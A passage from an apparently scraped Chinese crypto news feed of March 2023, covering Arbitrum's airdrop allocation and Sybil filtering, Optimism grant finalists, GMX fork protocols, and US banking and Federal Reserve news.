名成员组成的安全委员会将拥有紧急权力，至少需要九人签署才能执行任何更改。 尽管 Offchain Labs 将放弃对 Arbitrum 的控制权，但它希望继续作为服务提供商在生态系统中发挥作用。Goldfeder 在接受 Fortune Crypto 采访表示：「社区将有能力决定技术的未来以及它希望如何授权。有一点很清楚，那就是在 Arbitrum 生态系统中，开放、免费使用和免费修改符合社区的最大利益，也符合每个人的最大利益。我认为这将激发大量创新。」  ( 5 min )
    美国FDIC否认将要求Signature Bank的买家剥离其加密业务的报道
    PANews 3月17日消息，据CoinDesk报道，美国联邦存款保险公司（FDIC）否认路透社关于其将要求Signature Bank的任何购买者剥离其加密业务的报道。 FDIC的一位发言人援引该机构的决议手册表示，“在银行的所有资产被出售和对银行的所有索赔得到解决，以及收购者决定他们的投标条件之前，接管不会结束。”收购方将告诉联邦存款保险公司“它愿意从破产银行获得哪些资产和负债”。 该发言人还提到了FDIC、货币监理署和美联储发表的两份联合声明，其中指出银行“既不禁止也不阻止”向任何赛道提供服务。据路透社报道，FDIC现在正寻求拍卖Signature和硅谷银行，可能在本周末前完成。  ( 4 min )
    一文速览Optimism第十期激励扶持入围项目
    ‍原文作者：Messari - keyxyz 编译：BlockTurbo 过去，GMX、Velodrome等受到扶持和激励的第 2 层 (L2) 应用程序已被证明其成功性并成为赢家；那么，通过研究下一轮潜在的激励接受者，可能会指引我们发现下一波可能崛起的协议。 现在，就让我们来看看 Optimism 最新一轮资助扶持中最有潜力的资助获得者们。 热门激励应用 Optimism 的资助通常分为两类：Growth Experiments（增长实验）和Builders（构建者）。在 Growth Experiments 中，我们发现了面向 DeFi、消费者平台等的链上应用程序。在Builders部分，有团队和独立开发者为各种用例创建开发者工具，包括用户定位、交易解码等。 十二个协议被选为本周期Growth Experiments类别的决赛入围者。三个最受关注的协议基于它们之前的有机增长、通过激励措施加速增长的潜力以及各自的竞争前景而入选。 Kyberswap 是一个 DEX 聚合器和流动性平台，最初于 2019 年部署到以太坊。它在第一季度的良好增长导致其可能获得激励，年初至今，其基于 Optimism 的交易量增长了约 9 倍。这足以获得并保持 Optimism DEX 交易量排名第三的位置。 截至撰写本文时，Kyberswap的交易量与 Velodrome 和 Uniswap 的交易量之间的差距在 24 小时、7 天和累积水平上都很显著。 Velodrome 和 Uniswap 的 7 天交易量分别超过 Kyberswap 约 1.73 亿美元和约 1.29 亿美元。 仅 500,000 美元左右的激励措施似乎不太可能弥补这 100+ 百万美元的缺口——即使我们考虑到市场对激励计划的过度反应。从用户数量的角度来看，Uniswap 从其在链上部署的第一天起就通过网络渗透率（定义为唯一用户与 Optimism 用户总数）主导了 Optimism。 然而，Arbitrum 上的 Uniswap 面临着不同的命运。 Uniswap 最初在网络渗透率方面遥遥领先，但后来在网络渗透率方面落后于 SushiSwap，位居第二。 有趣的是，这两条链在交易量方面互换了角色。尽管失去了在 Arbitrum 上的网络渗透率领先优势，但截至 3 月 10 日，Uniswap 的 7 天交易量仍是 SushiSwap 的近 4 倍。在 Optimism 上，Uniswap 在网络渗透率方面仍保持领先地位，它与排名第二的Velodrome 之间的 7 天交易量差距并不明显（2.386 亿美元对 1.943 亿美元）。 对于 DEX，交易量份额胜过用户份额。对于 Kyber 来说幸运的是，Optimism 是 L2 中具有转移交易量份额的先例最多的。经济激励和随之而来的投机兴趣可能足以让 Kyber 真正开始获得发展动力。 1inch 是现货交易聚合器，MUX 是永续合约聚合器。 MUX 平台将永续合约市场聚合到一个界面中，目标是为最终用户提供卓越的流动性、杠杆等。 在 FTX 崩溃之后，Perps 一直是一个热门市场。这对 MUX 来说既好又坏。 一方面，对杠杆的需求在加密市场中持续存在。另一方面，提供杠杆服务的竞争非常激烈。 衍生品不同于现货AMM，因为它们在新进入者超过先行者方面有着更好的记录。在 Arbitrum 上，GMX 获得了巨大的市场份额。 基于 Optimism 的衍生品市场远不如 Arbitrum 市场稳固。因此，MUX 处于极具吸引力的地位。它的混合方法允许 MUX 整合来自其他平台的流动性（通过它们的聚合器），同时还保持 MUX 特定的流动性。反过来，这使得 MUX 有可能超越其他平台（通过其原生流动性 + 聚合流动性的组合）。 来自 OP 的交易激励和种子流动性是 MUX 扩大这些优势的计划的一部分。 Sonne Finance 是从 Compound Finance 分叉出来的 Optimism 原生借贷协议。在采取任何激励措施之前，其 TVL 在 2023 年已经增长了约 3 倍。在这种增长的基础上加入一些 OP 激励措施，可能会提高 Sonne 的采用率。 Aave 目前是 Sonne 在 Optimism 贷款领域的唯一竞争对手，其 TVL 超过 Sonne 的两倍（8760 万美元对 3960 万美元）。然而，一些细微差别为 Sonne 描绘了一个有吸引力的竞争定位。 Aave 仅提供具有借贷上限和保证金限制的有限 OP 市场。同时，OP 在熊市中的价格表现创造了财富效应，通常会导致对杠杆的高需求，但 OP 持有者无法通过 Aave 获得该杠杆。 但是，他们可以通过 Sonne获得。虽然 Aave 的有限市场迄今为止只吸引了约 225,000 美元的供应，但相比之下，Sonne 已经吸引了价值 761 万美元的 OP 供应。其中，已借入 656 万美元，利用率为 87%。 大量的叙述正在努力扩大 Sonne 现有的增长。原生应用一直是 L2 的热门主题： Sonne 至少有机会复制这一壮举。在截至 3 月 7 日的 30 天内，Sonne 的 TVL 增长了 120%，而同期 Aave 的 TVL 缩减了 0.44%——这是 Sonne 效仿 Radiant 成功模式的早期迹象。 除此之外，Sonne 采用了 GMX 推广流行的“实际收益”分享机制。 在激励期间，协议几乎总是看起来很棒。一旦狂欢停止，真正的考验就会来临。一旦激励措施枯竭，小型和大型应用程序的增长都会消失。例如，L2 订单簿 DEX Rubicon 在其激励计划结束后仅 1 个月内就损失了近 95% 的 TVL 收益。时间会证明它的第二次拨款申请是否会走向不同的命运，如果申请被接受的话。 除了智能合约应用程序，Optimism 还向为 Optimism 社区构建开发工具的开发人员提供资助。八名开发人员或开发团队进入了该类别的最后一轮。与应用案例一样，我们根据预计的技术影响和用例的新颖性将列表缩小到我们的首选关注对象。 Shutter Network 提议通过为OP Stack提供的受屏蔽的内存池实现为 Optimism 带来交易隐私。实现这一目标的主要方法是 Shutter Network 的门限加密 DKG。 Shutter 的主要重点包括： Metronomo 的工具允许： Metronomo 生成的数据计划可通过其 API（规范文档）访问。定义高级用户的主要方法是新近度、频率和货币价值客户细分框架，通常称为 RFM 模型。 改进的用户定位实践可能会提高激励计划准确定位高价值用户的能力——这是对 Optimism 和加密货币整体的重要改进。 Rotki 提议为 Optimism（以及其他 EVM 协议）编写开源 EVM 交易解码器。它允许开发人员更轻松地处理来自基于 Optimism 的应用程序的复杂交易，而无需从头开始编写自己的解码软件。 Clique 提供所谓的“身份预言机”：一种将用户身份的各个方面从 Web2 移植到 Web3 的服务。这允许用户在链上验证或“证明”其链下身份的属性，从而提高链上身份的稳健性。更可靠的链上身份解决方案有助于解决抵抗女巫攻击和缺乏多样化声誉系统等问题。 Clique 使用各种隐私保护方法，包括零知识证明 (ZKP)、多方计算等，以确保用户的 Web2 数据不会暴露给任何不应在链上看到的人。 这些激励计划的有效性仍然存疑。另外，我们也不知道哪些入围者（更不用说我们的首选）能够继续被选中获得资助。 不过，各种各样的项目入围者表明了 Optimism 生态系统内的高度兴趣和发展。这些团队即使最终没有获得资助，仍然值得关注。  ( 6 min )
    超62万地址获得空投，详解Arbitrum空投数据和防女巫策略
    原文：《"All for One and One for All" - An on-chain distribution model for the Arbitrum community》 编译：月之暗面，PANews TL;DR •Offchain Labs、Arbitrum基金会和Nansen共同设计了一个代币分配模型，该模型以社区成员在Arbitrum生态系统中的参与度为分配基础 •这个分配模式依赖于Nansen的链上数据，根据钱包的链上历史活动记录来分配资格点，钱包地址至少要达到三个积分标准才能获得空投的资格。 •符合条件的钱包名单涵盖了625,143个地址，统计周期为自Arbitrum One成立以来，截至2023年2月6日 •拥有社区金库并一直在推动 Arbitrum 生态系统向前发展的协议，也会被邀请参与为自己的社区分配部分代币 Arbitrum基金会与Offchain Labs合作宣布为Layer 2项目Arbitrum进行第一次治理代币的空投，并将其分配给 Arbitrum 用户和相关社区。（推荐阅读：《你能领多少ARB代币？速览Arbitrum代币经济学和空投细则》） Arbitrum 基金会和 Nansen 合作，一起设计了空投策略和分配模型，以量化的方式确保每个钱包或链上实体地址是否满足空投资格标准。 图1：L2崛起，2023年2月Arbitrum日交易量首次超越以太坊 Arbitrum 基金会已授权 Nansen 确保，会考虑到与网络交互的地址数量，以及将代币空投到给促进Arbitrum生态发展的用户手中。 •分配模式将基于链上数据：通过 Nansen Query 查询 Arbitrum 过往历史数据 •机制设计将包含多个参数和标准，以确保其安全性 •Nansen 的分析将会按照 Arbitrum 的母公司 Offchain Labs 的设想展开 简而言之，链上分析具有人为规划的部分，即使使用了严格的分析标准，但是空投分配模型也无法做到绝对精确。 在本文中，我们将介绍 Arbitrum 代币空投的具体流程和分配模型。 第 1 部分和第 2 部分回顾了空投计划的具体变量和目标。第 3 部分说明了分配标准和链上分析之间的具体过程。第 4 部分和第 5 部分详细说明了资格标准和相关“积分”设计。第 6 部分介绍了反女巫共计的理念。第 7 部分总结了符合条件的钱包地址的最终统计数据。第 8 部分重点介绍符合条件的 dApp 和协议。 鉴于代币空投的复杂操作性，通常需要对用户的参与和治理决策的过程进行优化。因此，协议需要设置具体的空投标准，以支持协议实现长期发展目标（见下文“2. 空投的原则和目标”部分）。 在 Arbitrum 代币空投中，Nansen 专注于分配模型参数的设计，以尽可能帮助 Arbitrum Foundation 制定分配标准并确定代币空投的接受者列表。但以下因素与空投分配模型也具有较强关联性： •需求方因素：主要涉及代币在协议治理中的用途，需要在此基础上确定代币需求 •供给方因素：供给方由代币发行数量（空投与其他渠道发行多少代币）、时间（影响未来行为的潜在归属时间表）和分配模型等因素共同决定。 图 2：本轮空投分配模型变量 2. Airdrop的原则和目标 Arbitrum Foundation希望通过空投来优化 Arbitrum 协议治理的去中心化程度。因此，可以考虑的方法是尝试定义有机活动。 “有机”活动包括在 Arbitrum 上进行有效交易，以及帮助开发链上 dApp 和其他协议议，或为Arbitrum的治理做出积极贡献。以上行为可以在链上数据中进行测量，并在 Arbitrum 链上按钱包活跃度进行分类。 但是，部分进行多次交易的钱包地址不一定是真实的需求，无法保证在这些地址会在空投后继续保持活跃。因此，链上数据分析的一个目标是帮助识别具备“女巫”攻击色彩的钱包地址，例如那些只是为了获取本轮和未来空投资格的钱包。第二个目标是通过引入和女巫行为具备高度相关性的“负面标准”，这是由 Offchain Labs 反女巫攻击研究人员基于 Nansen Query Arbitrum 和以太坊链上数据运来设计的。 Arbitrum Foundation 和 Nansen 一起定义了何为“有机”活动，随后将这些行为转化为定量标准和阈值，并且通过链上分析去完善这些标准和阈值（见图 3）。 图 3：项目流程，从第一性原理标准到数据有效性 该研究大体遵循以下步骤： 该步骤定义了链上活动符合“有机”条件的事前标准。在这一点上，我们试图在查看链上数据之前回答以下问题：一个钱包应该发起多少笔交易才有资格获得空投？随着时间的推移，有机行为应该是什么样的？进行桥接和花费的相应以美元计价的价值是多少？ 在此阶段，我们对之前定义的假设原理进行建模，使用 Nansen 处理 Arbitrum One 的链上数据将其转化为定量标准，包括交易、传输、日志、跟踪以及 Nansen 其他标签等（见图 4） . 图 4：Nansen查询界面：Arbitrum One 链上钱包地址转账活动数据 Step 3:：敏感度分析 我们通过在分配模型中设立资格标准，并结合之前已经创建的地址列表的建立临时模型。该模型可以将一定数量的正面或负面积分归因到标准中。 我们审查了部分地址数据，以评估我们的标准和积分设计是否过于严格，因为它们只能捕获 Arbitrum 上地址的过于靠前的地址数据，反之亦然，也需要检查这些标准是否过于宽松。我们可以通过可视化分配标准的来说明这个过程（图 5 到 8）。 此步骤需要进行多次迭代，并最终得到合理的阈值和标准。例如，该模型必须捕获得分高于图 5 至 8 所示的中值阈值的地址数据：例如“进行交易的不同月份数”标准的阈值设置为两个月或更长时间，并且要高于一个月的中位数。 除了敏感度分析，我们还进行了交叉分析，以确保各类别的资格标准可以进行互补，并捕捉到参与 Arbitrum 用户的主要行为。 图 5：按发起交易数量划分的钱包地址，2023 年 2 月 6 日的快照（Arbitrum One） 图 7：按交易的不同月份数划分的地址数据，2023 年 2 月 6 日的快照（Arbitrum One） 确定合格与不合格活动的标准，并根据链上分析结果修正积分系统。在此阶段，添加 Arbitrum Nova 作为 Arbitrum One 的补充标准。因此重新调用模型，直到获得满意的结果。 Offchain Labs 研究人员也设计了反女巫攻击模型，他们对 Arbitrum 和以太坊上的历史交易和数据进行了建模。删除了将部分可能涉及女巫的地址钱包。 模型最终得出了合格的钱包地址。哪些被标记为交易所、资金池、用以“销毁”的地址和跨链桥的等“功能性”钱包地址。钱包地址列表已准备好进行最后一次合格性审查。 上述过程产生了围绕以下大类定义的最终具体标准（见图 9）： •钱包发起的交易或转账的数量、价值和时间跨度的量化阈值 •这些钱包的行为为 Arbitrum 带来了流动性 •试验使用像 Nova 这样的新 Arbitrum 链 •另外，以下用户需要特别强调： 拥有社区金库的 dApps 也会获得一部分空投，并且将会以符合标准方式分发给他们的社区。通过代币分发进行本地化决策一直是 Arbitrum 作为生态系统和社区的重要部分。具体细节参考“8.分布式治理”。 图 9：空投细分标准 Nansen收集的历史数据从Arbitrum One的创世区块开始： 添加了补充资格标准以覆盖另一条链，Arbitrum Nova，以承奖励早期主动参与测试这条新链的钱包地址。不过，积分会稍次于 Arbitrum One 上的标准，并且在我们的分配模型中获得的积分也会较低。 Arbitrum Nova 上的快照是： 每项“有机”活动都获得正面（鼓励的行为）或负面的积分（不鼓励的行为）。钱包地址在空投中收到的代币数量取决于它收集了多少积分。最低参与标准是钱包地址必须达到三个积分，获得的积分越多，参与分配的比例越高。 全部的快照日期的积分会被合并以最终确定每个地址的最终得分。 图 10：Arbitrum One 和 Nova 的标准和积分 总结以下，我们得到了符合条件的钱包地址的各种行为数据，例如： •桥接到 Arbitrum One 的钱包地址，在两个不同的月内进行了十多次交易，并且在空投快照时有非零余额 •桥接到 Arbitrum One 和 Arbitrum Nova 的钱包地址，需要在两个不同的月份内通过Arbitrum One 至少进行 25 笔交易，在 Arbitrum Nova 上，钱包需要十多笔以上交易 •一个将超过 25 万美元价值的资产汇入 Arbitrum One 的钱包地址在九个不同的月份内进行了 100 多笔不同的交易，在 Arbitrum Nova 上，同一个钱包发起了十多笔交易 在最初有资格接收 Arbitrum 空投代币的地址中，其中部分地址不是出于实用目的，而是聚焦于获取未来可能的空投（见图 11 和 12），这些地址被认为不太可能一直在使用 Arbitrum，也不太可能积极参与治理。 女巫地址通常很难与真实行为地址区分开来，一如往昔的空投数据。两种不同的类型地址都可以在链上表现出完全相同的模式，但它们具有不同的目标，一种是真正的使用，另一种为了潜在的空投。 因此，跟踪女巫地址需要一个定性评估步骤，即对用于检测女巫的模型是否会违背空投目标，对此需要进行人工评估。 Offchain Labs 研究人员通过在来自 Nansen Query 的 from_address / to_address 交易数据使用聚类算法，并在 Arbitrum 和 Ethereum 上整合跟踪和代币转移，致力于识别可能的女巫钱包。并且对可能误报的数据进行人工“检查”。有关女巫地址的具体信息，请参阅 Arbitrum Foundation Github。 图 11：疑似女巫的地址示例：一组约 400 个地址中的两个地址具有高度相似的活动（将资金发送到同一个中心化交易所存款地址） 图 12 疑似女巫行为的地址示例，由来自同一地址的代币进行链上转移 在 2023 年 2 月 6 日之前桥接到 Arbitrum One 的约 230 万个钱包中，有 625,143 个或约 28% 获得了超过 3 个以上的积分，并有资格获得新发行的 Arbitrum 代币。这个资格号码是 ex-sybil ex-functional-entity。 大约3.7万个地址与功能类的钱包相关联 ，例如桥接智能合约、中心化交易所钱包或销毁地址 ，这些会被排除。 大约13.5万个地址被确定为女巫地址，也被排除在外。 我们可视化了每个地址的代币分配，符合条件的地址总数中只有约 8.6% 获得了 4,000 个以上的代币： 图 13：按可得到的代币数量划分的合格钱包 8. 去中心化治理 上述标准并未涵盖对 Arbitrum 生态系统的所有积极贡献。除了技术堆栈部分之外，Arbitrum 还是一个由开发人员、建设者和用户共同组成的社区，一个主要的目标是进化为去中心化治理社区。因此，空投的一部分被分配给 Arbitrum 上的社区金库，以便根据每个子社区的价值进行分配。这些实体涵盖了在 Arbitrum 上运行的各种 dApp 和协议。 •基于部署到 Arbitrum 上的时间 •不区分Arbitrum 原生、Arbitrum + Ethereum 还是其他多链协议 •根据总交易量和日交易量数据 •这些交易活动的经济价值 •需要和各个 dApps 的活动统计数据成正比（图 14 所示是自 Arbitrum One 成立以来，按实体划分的合约日志和各实体内交易份额） 将 dApps 作为空投分发的一部分，目标是建立更广泛的利益相关群体，他们有资格为 Arbitrum 的未来发展做出贡献。这与 Arbitrum 代币分配的核心目标一致：过渡到更去中心化的 Arbitrum 决策模型。 图 14：截至 2023 年 2 月 6 日，实体内总交易和智能合约日志，由 Nansen 标记的一个Arbitrum实体 结论 通过利用链上分析提取出有资格接收Arbitrum空投 代币的钱包地址，Arbitrum 基金会和 Nansen 试图回答这个问题：“如何公平地办事处所有帮助过并可能继续帮助的人Arbitrum生态系统的努力？ ”。 在最终分配模型下，截至快照日期，三分之一的 Arbitrum One 地址以及 Arbitrum 上的 Dapps 符合条件。  ( 7 min )
    美联储资产负债表单周增长近3000亿美元，为自疫情以来最大周增幅
    PANews 3月17日消息，据格隆汇报道，在过去的一周，美联储的资产负债表增加了约3000亿美元至8.69万亿美元，为自疫情以来最大周增幅。 此前今日早些时候消息，美联储贴现窗口借款暴增，总量超过2008年金融危机时期。  ( 4 min )
    OpenAI CEO旗下加密项目Worldcoin拟于今年上半年启动主网
    PANews 3月17日消息，据The Block报道，OpenAI首席执行官Sam Altman创立的加密货币公司Worldcoin计划在今年上半年启动主网。据两位知情人士透露，Worldcoin正在与总部位于佛罗里达州的全球制造巨头Jabil 合作，将2021年首次亮相的便携式虹膜扫描设备的生产外包，以提高其虹膜扫描球体的产量。 据悉，Worldcoin计划向全球每个人发行一种全球化的数字货币，并通过其开发的一种球形装置扫描虹膜来构建一个独特的个人识别码，使得每个人获得的数字货币具有独特性，该代币计划于今年上半年推出。据其网站称，该项目迄今为止已有近120万注册用户。此前2月消息，Worldcoin拟以30亿美元估值融资至多1.2亿美元。  ( 4 min )
    彭博社：Bitcoin Opportunity Fund正寻求筹资1亿美元
    PANews 3月17日消息，据彭博社报道，Bitcoin Opportunity Fund正寻求筹资1亿美元。该基金由包括管理合伙人James Lavish、David Foley和Cory Klippsten在内的六位投资者领导，将投资与比特币相关的公共和私人公司。该团队表示，他们将自己净资产的很大一部分投入到了该基金。  ( 4 min )
    盘点7个GMX分叉项目：他们都有何创新？
    原文：《GMX 的挑战者们》 出品：DODO Research 编辑：Lisa 作者：Flamie 自 22 年 GMX 代币上线币安后，GMX 的各项数据接连创下新高。截至目前，GMX 的平台总交易量已超过 1000 亿美金，AUM 超 10 亿美金，独立地址超过 16 万，分发给用户的费用超过 1 亿美金。 https://dune.com/gmxtrader/gmx-dashboard-insights 在正式上线至今近 1 年半的时间里，GMX 一直在质疑的声音下运行，但在真实收益（real yield）叙事下， GLP 的“对赌”模式渐渐被人们所接受。 截至目前，由 Defillama 统计的已上线 GMX fork 协议已经有近 20 个，分布在不同链上，下面我们将挑选七个代表项目进行盘点。 GMX 机制图解 Mummy Finance 是由 Fantom 基金会支持的 GMX fork。机制上，Mummy Finance 在冷启动代币的分发上新增了使用 NFT 发放 esMMY 并给予了 NFT 持有人 80% 的国库 FTM 分红。在费用分配上将 MLP 的比例由 70% 下调至 60%，其中 5% 分配给开发团队，5% 用于回购并添加 Equalizer（Solidly fork）的 MMY-FTM LP。此外，除了 MLP 中有 FTM 作为一揽子资产外，其余机制与 GMX 相同。 截至目前 （数据均为 3 月 5 日），Mummy finance 的平台交易量已超过 4 亿美金， MLP 已有近 1500 万美金的 TVL，产生了约 78 万美金的费用，数据并不亮眼。 https://app.mummy.finance/#/dashboard 2. Vela Exchange Vela Exchange 的前身是 Dexpool，一个 OTC 市场。而严格意义上讲，Vela 也不完全是 GMX fork，其还融合了 Gains Network 的机制。Vela 效仿 Gains 的 gDAI，使用 USDC 铸造 VLP 且可以进一步抵押获取 eVELA。Vela 允许用户交易多品种的资产，并支持用户更多管理头寸的功能，例如当前头寸多次止盈、随时更改仓位中抵押品的数量、随时增加已开仓位的杠杆等等。 有别于 GMX，Vela 的资产喂价相对去中心化一点，仅部分合约地址拥有管理员身份，相对降低了作恶风险，且价格会在每一分钟或当价格波动多于 0.1%（外汇则是 0.02%）时刷新。Vela 还增加了 GMX 没有的实时资金费率，在用户开仓后实时计算且在仓位中自动扣除。 由于没有波动资产，VLP 持有者只有在交易者获利时才会亏损。协议费用的 50% 以 USDC 形式分配给 VLP 持有人，10% 以 eVELA 形式分配给 VLP 质押者，5% 以 USDC 形式分配给 VELA 质押者，10% 以 eVELA 形式分配给 VELA 质押者，其余 25% 归项目所有。 截至目前，拥有 VC 支持的 Vela 在上线短短几周内拥有近 30 亿美金的交易量，产生了仅 150 万美金的交易费用。配合近期的交易激励活动，Vela 数据仍呈现明显的上升趋势。 https://dune.com/unionepro/vela-exchange-stats 3. Mycelium Mycelium 是由前 BitMEX 创始人 Arthur Hayes 支持的协议，由 TracerDAO 合并而来。其 GMX fork 产品名为 Perpetual swap。其中，MLP 的经济模型与 GLP 几乎相同，非稳定币资产的交易费用为 0.4%，稳定币资产为 0.03%。MYC 质押奖励来自 10% 的平台费用，有 14 天提取时间。对于 LP 部分奖励的 esMYC，没有复投的乘数奖励；且选择线性赎回的周期缩短，相比 GMX 变为 6 个月。 此外，与 GMX 最大的不同是 Mycelium 宣称可交易品种更广泛，涉及外汇、商品期货等，但目前除 BTC、ETH 外仅支持 WTI 原油期货。截至目前，Perpetual swap 的 TVL 只有约 600 万美金，但总交易量达到 17 亿美金，产生了超过 160 万美金的协议费用。 https://swaps.mycelium.xyz/dashboard 4. MUX Protocol MUX 的前身是 MCDEX。在彻底转型做 GMX fork 的过程中，团队在其 V2 版本中做出了一个非常亮眼的改动，即做一个 Perp 聚合器，自建了流动性路由。允许用户一键开仓将杠杆头寸合理分配至不同衍生品协议。在聚合交易的过程中，因为不同平台支持的最大杠杆差异与清算阈值的不同，MUX 为用户提供了额外的保证金已保护用户蒙受损失。 此外，MUX 还聚合了用户的稳定币与波动资产，利用一部份去做衍生品市场的流动性，其余放到其他生息协议中为用户赚取额外收益。在未来推出的 V3 版本中，MUX 还将支持跨链聚合的功能，统一 Arbitrum、Optimism、BNB Chain、Avalanche 和 Fantom 之间的衍生品流动性。 截至目前，MUX 协议的交易量呈现了相较其他 fork 协议更健康、稳定地增长趋势，7 日交易量超过 6000 万美金，独立地址数也超过 1 万。 https://stats.mux.network/public/dashboard/13f401da-31b4-4d35-8529-bb62ca408de8 5. Level Finance BNBChain 上的 Level Finance 也是一个十分有特色 GMX fork 协议。Level 利用分级基金的思路，为不同的比例的一揽子资产赋予了不同的激励与收入分配，为用户提供了多种配比的 ETF 选择。 https://app.level.finance/ 值得注意的是，Level 采用了双代币模型，LVL 作为激励代币补贴所有 Tranche，LGO 作为纯治理代币参与 50% 协议费用的再分配（另 50% 通过 lyLVL 分配给所有 Tranche）。此外，Level 基本的非稳定币资产的交易费用为 0.2%，稳定币资产为 0.01%，动态范围为 0 - 0.6%。 https://app.level.finance/ 截至目前，交易员为 Level finance 贡献了超过 30 亿的交易量， 数据虽不如 Vela 爆炸，但也稳定运行了近 2 个月，但其双代币的博弈设计还有待考验。 https://app.level.finance/analytics/overview 6. El Dorado Exchange 在 BNBChain 上，除了 Level finance，还有一个做了微创新的 GMX fork — El Dorado Exchange。El Dorado 在 Level 的分级概念上又加入了由协议费用支持的稳定币 EUSD，60% 分配给 ELP，40% 分配给 gEDE 持有人。 由于 EUSD 需要维持锚定，因此还有在抵押品价值波动时候维持锚定的 Stake & Bond 机制： https://docs.ede.finance/tokenomics/usdeusd 数据上，由于与 Level 过于同质化，El Dorado 数据上被压了一头。El Dorado 已在尝试多链运行，即将已扩展至 Arbitrum。 除了上述协议外，还有像 Metavault（Polygon）、Madmex（Polygon）、Tethys Perpetual（Metis）、Lif3 Trade（Fantom）、OPX（Optimism）等基本与 GMX 同质化的 Fork 运行在各自的生态上。可见绝大多数的 GMX fork 都是社区项目，GLP 与交易员“对赌”的模式收到了社区的认可，伴随着高额的 LP 激励，如此数量的 fork 是否让你想起了曾经 Defi summer 的 Uniswap V2 fork 潮呢？ 如今的 GMX 仍有不少缺陷：中心化的预言机喂价、没有双边的资金费率、GLP 未平仓合约量的限制、熊市单边下跌可能的踩踏，也曾发生过在 Avalanche 上因 AVAX 深度差预言机价格被操纵，致使 GLP 蒙受损失的情况。而 20 年中的 Uni V2 也饱受诟病：LP 只能靠协议撒币补偿巨大的无常损失、没有足够护城河（Sushiswap Vampire Attack）、资金利用率低等。 可以预见的是，GMX 上述机制的不足也将很快被 X4 的合成资产版本迭代或由新协议做出更灵活的创新。目前，有几个有资本支持且仍未被广泛关注的协议值得跟踪： 这里面最值得期待的莫过于 Perennial。具体来讲，Perennial 提供了一个无需许可的建立衍生品市场的工具，而并非是单纯的提供交易市场。其设置了一套衍生品的交易规则，并允许任何人去设置其中的关键参数来建立自己的市场。 https://perennial.finance/ Perennial 通过点对池的交易模式，让每个公开的市场都包括了市场建设者、流动性提供者和交易者三个角色。文档显示，当前 Long-SQTH 池就是由 Opyn 的多签地址充当运营商。而其他两个市场：以太坊的多头和空头市场，都是由 Perennial 多签地址管理。 首先，作为市场的建设者仅会从衍生品市场费用中收取一部分作为收入，而不会被强制要求提供流动性。对市场建立者而言，其需要设置的参数包括了利用率曲线、费用结构、杠杆和最大流动性。其中费用结构（开仓、平仓）和最大流动性都比较好理解，关键是利用率曲线和杠杆两个参数。 利用率曲线，即市场利用率和资金费率之间的函数关系。Perennial 表示这项参数参考了 Aave 与 Compound 关于借贷利用率和利率的关系，在 Perennial 中，交易者需要向流动性提供者支付资金费用，而该费用的高低取决于资金利用率（即交易者开仓的名义价值和流动性提供方开仓的名义价值比例），利用率越高资金费用就越高，但在 80% 前保持较低的增长率，在达到 80% 之后，为了平衡市场两边的流动性，资金费用将大幅升高，而市场仅仅由多空双方 PvP，所有的设计与 GMX X4 的构想不谋而合。 https://perennial.finance/ 目前，Perennial 还处于初期阶段，如果 GMX X4 出现，二者将成为直接竞争对手。 总的来说，GMX 在上线 1 年半后才全面被社区接受，整个“价值”发现的过程也与 Uniswap 的出现极为相似。或许某些时候，并不是某个赛道跑不起来，而是时候未到。 参考文献 https://app.mummy.finance/#/dashboard https://www.vela.exchange/ https://swaps.mycelium.xyz/dashboard https://mux.network/ https://app.level.finance/ https://app.ede.finance/#/ https://perennial.finance/ 免责声明 本研究报告内的信息均来自公开披露资料，且本文中的观点仅作为研究目的，并不代表任何投资意见。报告中出具的观点和预测仅为出具日的分析和判断，不具备永久有效性。  ( 7 min )
    NFT交易平台OpenSea引入自助Drops代理合约
    PANews 3月17日消息，NFT交易平台OpenSea宣布引入自助Drop（Self-serve Drops）代理合约，预计可节省90%的Gas费用，创作者可以使用新代理合约或标准合约。  ( 4 min )
    Coinbase：超1.8万名开发者于Base测试网上线首周部署超5.5万个智能合约
    PANews 3月17日消息，加密交易所Coinbase在推特上披露其Layer 2网络Base进展：“超1.8万名开发人员于Base测试网上线第一周已部署超5.5万个智能合约；与Zora合作发布的‘Base, Introduced’NFT的铸造数量达到48.5万个。Base团队将在接下来的几个月里专注于开发主网。” 此前消息，Coinbase于2月23日推出以太坊L2网络Base测试网。  ( 4 min )
    美联储贴现窗口借款暴增，总量超过2008年金融危机时期
    PANews 3月17日消息，据证券时报报道，最近一周，美国银行业通过两个信贷安排工具总计从美联储借出1648亿美元，凸显出在硅谷银行倒闭后资金面正在日趋紧张。美联储公布的数据显示，截至3月15日的一周，美联储通过贴现窗口贷出的资金达到创纪录的1528.5亿美元，高于前一周的45.8亿美元。上一个纪录高点是在2008年金融危机时创下的1110亿美元。 数据还显示， 美联储上周日推出的银行定期融资计划共贷出资金119亿美元。从这几个数字可以看出美国银行体系仍然脆弱，尚未完全走出硅谷银行和Signature Bank倒闭后存款资金搬家的困境。当周其他贷款余额总计1428亿美元，反映出联邦存款保险公司对硅谷银行和Signature Bank的过渡银行所提供的贷款。 据悉，贴现窗口是美联储所采用的一种机制，即向合格银行发放短期贷款以维持其现金流动性。  ( 4 min )
    Coinbase：质押验证者在2022年的收入估计为30亿美元
    PANews 3月17日消息，加密交易所Coinbase发推文称：“质押使支付处理民主化。在今天的金融系统中，单笔信用卡交易可能只需要几秒钟，但它依赖于许多第三方来处理、验证、接受或拒绝，并最终从银行转账以完成支付。公开数据显示，仅在美国，这些支付处理商在2022年收取的费用就超过5000亿美元。它不仅昂贵。我们现有的支付基础设施也更加耗能，并且容易出现安全漏洞。想象一下，如果不是大公司通过支付基础设施运营和赚钱，而是通过质押，普通人可以从中赚取收入。2022年，质押验证者的收入估计为30亿美元。”  ( 4 min )
    3分钟了解Circle的新银行合作伙伴Cross River Bank
    原文：《What Is Cross River Bank, USDC Stablecoin Issuer Circle’s New Partner?》by Brandy Betz 编译：Moni，Odaily 星球日报 3 月 13 日，Circle首席执行官 Jeremy Allaire宣布与 Cross River 建立新的自动化结算合作伙伴关系，为客户提供自动USDC铸造和赎回服务。在过去一周时间里，Silvergate Bank、Signature Bank 和硅谷银行这些加密友好金融机构陷入困境，让 Cross River 这家由风投支持、并且获得美国联邦存款保险公司承保的新泽西州地区性银行浮出水面，在加密行业里的知名度也有所提高。 据其网站披露的信息，Cross River 成立于 2008 年，当前资产规模约为 99 亿美元，贷款发放量已超过 1000 亿美元。与大多数传统金融科技机构不同，这家美国特许银行拥有发放贷款的监管合规基础设施，以及实时支付系统的金融基础设施，这意味着他们可以在任何时间合法进行加密货币和法定货币的兑换。 由于许多加密公司都受到Silvergate Bank、Signature Bank 和硅谷银行的影响，加上 Cross River 